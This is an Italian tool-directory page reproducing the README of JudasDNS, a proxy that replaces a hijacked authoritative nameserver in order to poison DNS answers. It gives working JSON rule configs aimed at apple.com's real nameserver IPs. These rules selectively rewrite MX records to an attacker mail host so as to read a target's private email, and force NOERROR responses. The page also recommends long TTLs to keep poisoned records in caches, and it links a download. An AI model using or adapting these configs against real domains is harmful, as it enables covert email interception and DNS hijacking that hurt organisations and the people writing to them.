Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
JudasDNS — Attacchi di avvelenamento DNS del nameserver resi facili | Kitploit
Strumenti/GitHubGitHub/mandatoryprogrammer/judasdns
ExploitPenetration TestingFuzzing DNSRed TeamingAnalisi DNS
GitHubmandatoryprogrammer/judasdns

JudasDNS

Attacchi di avvelenamento DNS del nameserver resi facili

Vedi Repository
526929 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Judas DNS

root@kitploit:~
                                                   
                          ,,                                                        
   `7MMF'               `7MM                       `7MM"""Yb. `7MN.   `7MF'.M"""bgd 
     MM                   MM                         MM    `Yb. MMN.    M ,MI    "Y 
     MM `7MM  `7MM   ,M""bMM   ,6"Yb.  ,pP"Ybd       MM     `Mb M YMb   M `MMb.     
     MM   MM    MM ,AP    MM  8)   MM  8I   `"       MM      MM M  `MN. M   `YMMNq. 
     MM   MM    MM 8MI    MM   ,pm9MM  `YMMMa.       MM     ,MP M   `MM.M .     `MM 
(O)  MM   MM    MM `Mb    MM  8M   MM  L.   I8       MM    ,dP' M     YMM Mb     dM 
 Ymmm9    `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP'     .JMMmmmdP' .JML.    YM P"Ybmmd"  

                                         Attacchi DNS poisoning ai nameserver resi facili

Un server proxy DNS progettato per essere distribuito al posto di un nameserver compromesso, al fine di effettuare sfruttamenti mirati. Judas funziona inoltrando tutte le query DNS ai nameserver legittimi di un dominio. La magia arriva con le configurazioni delle regole di Judas che ti consentono di cambiare le risposte DNS in base all'IP di origine o al tipo di query DNS. Ciò consente a un attaccante di configurare un nameserver malevolo per fare cose come reindirizzare selettivamente le email in arrivo provenienti da determinati intervalli IP di origine (tramite record MX modificati), impostare TTL estremamente lunghi per mantenere i record avvelenati in cache e molto altro ancora.

Come Faccio a Prendere il Controllo di un Nameserver?

Per maggiori informazioni su come prendere il controllo di nameserver e dirottare il DNS, consulta il seguente post del blog intitolato "Respect My Authority – Hijacking Broken Nameservers to Compromise Your Target".

Configurazione di Esempio

Quella che segue è una configurazione di esempio per Judas per uno scenario in cui un attaccante ha compromesso/preso il controllo di uno dei nameserver autorevoli di Apple (per apple.com):

root@kitploit:~
{
    "version": "1.0.0",
    "port": 2248,
    "dns_query_timeout": 10000,
    "target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
    "rules": [
        {
            "name": "Reindirizza segretamente tutte le email provenienti da 127.0.0.1!",
            "query_type_matches": [ "MX" ],
            "ip_range_matches": [ "127.0.0.1/32" ],
            "modifications": [
                {
                    "answer": [
                        {
                            "name": "apple.com",
                            "type": 15,
                            "class": 1,
                            "ttl": 10,
                            "priority": 10,
                            "exchange": "hacktheplace.localhost"
                        }
                    ]
                }
            ]
        },
        {
            "name": "Rendi tutte le risposte NOERROR anche se hanno fallito.",
            "query_type_matches": [ "*" ],
            "modifications": [
                {
                    "header": {
                        "rcode": 0
                    }
                }
            ]
        }
    ]
}

Gli scopi dei valori di configurazione sopra indicati sono i seguenti:

  • version: Il formato del file di configurazione (per ora è sempre 1.0.0).
  • port: La porta su cui Judas deve essere eseguito.
  • dns_query_timeout: Quanto tempo attendere in millisecondi prima di rinunciare a una risposta dal nameserver di destinazione upstream.
  • target_nameservers: I nameserver legittimi per il tuo dominio di destinazione; tutte le query DNS verranno inviate qui da Judas per conto di tutti i client richiedenti.
  • rules: Un elenco di regole con modifiche alla risposta DNS da applicare se corrispondenti.
    • name: Nome di una determinata regola.
    • query_type_matches: Elenco di tipi di query da abbinare, come CNAME, A, ecc. È possibile specificare anche un carattere jolly (*) per abbinare qualsiasi tipo di query.
    • ip_range_matches: Elenco di intervalli IP da abbinare. Per spoofare selettivamente le risposte a un intervallo specifico di IP.

Modifiche

Le regole di Judas includono una specifica modifications impostata su un elenco di varie modifiche da apportare alla risposta DNS prima che venga inviata al client. È importante leggere la documentazione di node-dns per comprendere la struttura della risposta DNS in modo da poterla modificare.

Un esempio di formato di risposta DNS è il seguente:

root@kitploit:~
{ header: 
   { id: 25373,
     qr: 1,
     opcode: 0,
     aa: 1,
     tc: 0,
     rd: 1,
     ra: 0,
     res1: 0,
     res2: 0,
     res3: 0,
     rcode: 5 },
  question: [ { name: 'apple.com', type: 2, class: 1 } ],
  answer: 
   [ { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver4.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver3.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver5.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver6.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns1.apple.com' } ],
  authority: [],
  additional: [],
  edns_options: [],
  payload: undefined,
  address: undefined,
...troncato per brevità...

(Per maggiori informazioni sulla struttura dei dati della risposta DNS, consulta questa documentazione.)

Scrivere una modifica è molto semplice, un esempio di regola con modifica può essere visto qui sotto:

root@kitploit:~
{
  "name": "Rendi tutte le risposte NOERROR anche se hanno fallito.",
  "query_type_matches": [ "*" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

La regola sopra corrisponde a qualsiasi tipo di query (grazie al carattere jolly (*)) e imposta il valore header.rcode della risposta DNS a 0. Qualsiasi oggetto impostato come elemento di modifica viene unito alla risposta DNS, sostituendo il valore originariamente impostato.

Un altro esempio è il seguente:

root@kitploit:~
{
  "name": "Reindirizza segretamente tutte le email provenienti da 127.0.0.1!",
  "query_type_matches": [ "MX" ],
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "answer": [
        {
          "name": "apple.com",
          "type": 15,
          "class": 1,
          "ttl": 10,
          "priority": 10,
          "exchange": "hacktheplace.localhost"
        }
      ]
    }
  ]
}

La regola sopra corrisponde a qualsiasi query MX proveniente da 127.0.0.1. La risposta DNS viene sovrascritta con un singolo record MX per hacktheplace.localhost. Un'implementazione nel mondo reale di ciò sarebbe reindirizzare le email in arrivo da un IP specifico al fine di leggere le email private del tuo bersaglio. Inoltre, in uno scenario reale, un attaccante potrebbe anche scegliere di modificare il TTL della risposta con un valore molto alto per mantenere i propri record malevoli nelle cache DNS dei client il più a lungo possibile.

Tipi di Corrispondenza delle Regole

IP del Richiedente

La seguente regola corrisponderà all'indirizzo IP di un client:

root@kitploit:~
{
  "name": "Rendi tutte le risposte richieste da localhost (127.0.0.1) NOERROR.",
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

Il campo ip_range_matches è impostato su un array di intervalli IP che specificano gli intervalli di destinazione a cui applicare la modifica della risposta. L'omissione di questo campo equivale a un carattere jolly e corrisponderà a tutti gli indirizzi IP dei client.

Tipo di Query della Richiesta

La seguente regola corrisponderà a un tipo di query MX e CNAME e applicherà una modifica della risposta di conseguenza:

root@kitploit:~
{
  "name": "Rendi tutte le risposte NOERROR anche se hanno fallito.",
  "query_type_matches": [ "MX", "CNAME" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

Il campo query_type_matches è impostato su un array di tipi di query da abbinare. L'omissione di questo campo equivale a un carattere jolly e corrisponderà a tutti i tipi di query.

Codice di Stato della Risposta

La seguente regola corrisponderà a un codice di risposta NXDOMAIN e applicherà una modifica della risposta di conseguenza:

root@kitploit:~
{
  "name": "Rendi tutte le risposte richieste da localhost (127.0.0.1) NOERROR.",
  "response_code_matches": [ "NXDOMAIN" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

Il campo response_code_matches è impostato su un array di codici di risposta da abbinare. L'omissione di questo campo equivale a un carattere jolly e corrisponderà a tutti i tipi di RCODE.

Scarica lo strumento
  • modifications: Consulta la sezione "Modifiche" di questo README.